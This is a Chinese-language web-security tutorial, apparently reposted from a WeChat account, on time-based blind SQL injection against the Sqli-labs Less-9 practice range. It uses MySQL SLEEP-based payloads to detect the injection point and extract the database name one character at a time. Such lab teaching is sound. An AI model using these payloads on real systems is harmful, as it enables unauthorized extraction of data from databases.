SQL注入之时间型盲注

admin 2020年11月3日09:40:01评论16 views字数 2049阅读6分49秒阅读模式

本文是Web安全入门系列的第5篇文章

01

束手无策?

首先介绍一个新的靶场,名为Sqli-labs。Sqli-labs是一个印度小哥写的,比较全面的SQL注入练习靶场。一共有75个关卡,从易到难囊括了多种SQL注入场景,且网上有非常多的学习资料,推荐给想要深入学习SQL注入的小伙伴~

SQL注入之时间型盲注

部署好靶场后,首页会看到关卡导航,列出了每个关卡练习的入类型,我们要用到的是Less-9:基于时间的盲注SQL注入之时间型盲注

Sqli-labs关卡都是以id为输入参数的,在定位注入点时,尝试输入id=1,id=1',id=1"......无论怎么输入,返回结果都是"You are in ......."。

SQL注入之时间型盲注

因此得出结论:

1. 无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样

2. 不会回显注入语句执行结果,故无法使用UNION注入

3. 不会显示报错信息,故无法使用报错注入

4. 符合上一篇介绍的盲注的特征,但不属于布尔型盲注

看上去路都堵死了,难道就束手无策了么?

 SQL注入之时间型盲注   SQL注入之时间型盲注   SQL注入之时间型盲注

02

SLEEP(N)

上面的这种情况,怎么判断是否存在注入?注入的语句到底执行了没有?执行成功了还是失败了?这个时候,我们需要用到时间型盲注。

首先介绍MySQL的SLEEP(N)函数,通常情况下,执行SQL语句时是立即执行的。

SQL注入之时间型盲注

SQL注入之时间型盲注

加入SLEEP函数后可以强制停留2秒,但是只有指定条件的记录存在时才会停止指定的秒数。

SQL注入之时间型盲注

如果查询一条并不存在的记录时使用SLEEP函数,也会立即执行。

SQL注入之时间型盲注

看到这里,聪明的你是不是已经猜到了我们要用可爱的SLEEP做什么了呢?没错,我们就是要用SLEEP的这一特性来判断注入点,和注入语句的执行结果。

 SQL注入之时间型盲注 SQL注入之时间型盲注

 

03

时间型盲注

回到Sqli lab的Less 9,首先判断注入的参数类型。

输入:id=1 and sleep(5) --+

用时:9ms,SLEEP函数没有被执行

SQL注入之时间型盲注

输入:id=1" and sleep(5) --+

用时:8ms,SLEEP函数没有被执行

SQL注入之时间型盲注

输入:id=1' and sleep(5) --+

用时:5s,SLEEP函数被执行,注入参数id是字符型,传入时带单引号

SQL注入之时间型盲注

这就是时间型盲注的思路,时间型盲注就是利用时间函数的延迟特性来判断注入语句是否执行成功。简称:你猜我睡着没有~       

 

04

时间型盲注实战

还记得我们上篇文章讲的盲注的终极奥义么?接下来,我们用终极奥义来拿更多的数据。

SQL注入之时间型盲注

猜测数据库名称长度

输入:id=1' and If(length(database()) > 1,1,sleep(5))--+

用时:<1s,数据库名称长度>1

SQL注入之时间型盲注

输入:id=1' and If(length(database()) > 2,1,sleep(5))--+

用时:<1s,数据库名称长度>2

输入:id=1' and If(length(database()) > 3,1,sleep(5))--+

用时:<1s,数据库名称长度>3

......

输入:id=1' and If(length(database()) >8 ,1,sleep(5))--+

用时:5s,数据库名称长度=8

SQL注入之时间型盲注

最终得出结论:数据库名称长度等于8个字符。

 

猜测数据库名称的一个字符

输入:id=1' and If(ascii(substr(database(),1,1))=97,sleep(5),1)--+

用时:<1s

输入:id=1' and If(ascii(substr(database(),1,1))=98,sleep(5),1)--+

用时:<1s

输入:id=1' and If(ascii(substr(database(),1,1))=99,sleep(5),1)--+

用时:<1s

......

输入:id=1' and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+

用时:5s

得出结论:数据库名称的第一个字符是小写字母s。

不理解97,98,99含义的同学,请参考ASCII编码对照表:http://ascii.911cha.com/

猜测数据库名称的二个字符

输入:id=1' and If(ascii(substr(database(),2,1))=97,sleep(5),1)--+

用时:<1s

输入:id=1' and If(ascii(substr(database(),2,1))=98,sleep(5),1)--+

用时:<1s

输入:id=1' and If(ascii(substr(database(),2,1))=99,sleep(5),1)--+

用时:<1s

......

输入:id=1' and If(ascii(substr(database(),2,1))=101,sleep(5),1)--+

用时:5s

得出结论:数据库名称的第一个字符是小写字母e。

......

依此类推,最后猜出数据库名称为:security。

本期内容就到这里了,篇幅有限,不用猜到手抽筋的神器留着下期介绍,期待下期再见~

SQL注入之时间型盲注

(部分图片源自网络,侵删)

 

原文始发于微信公众号(陆吾安全攻防实验室):SQL注入之时间型盲注

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年11月3日09:40:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入之时间型盲注https://cn-sec.com/archives/1067587.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息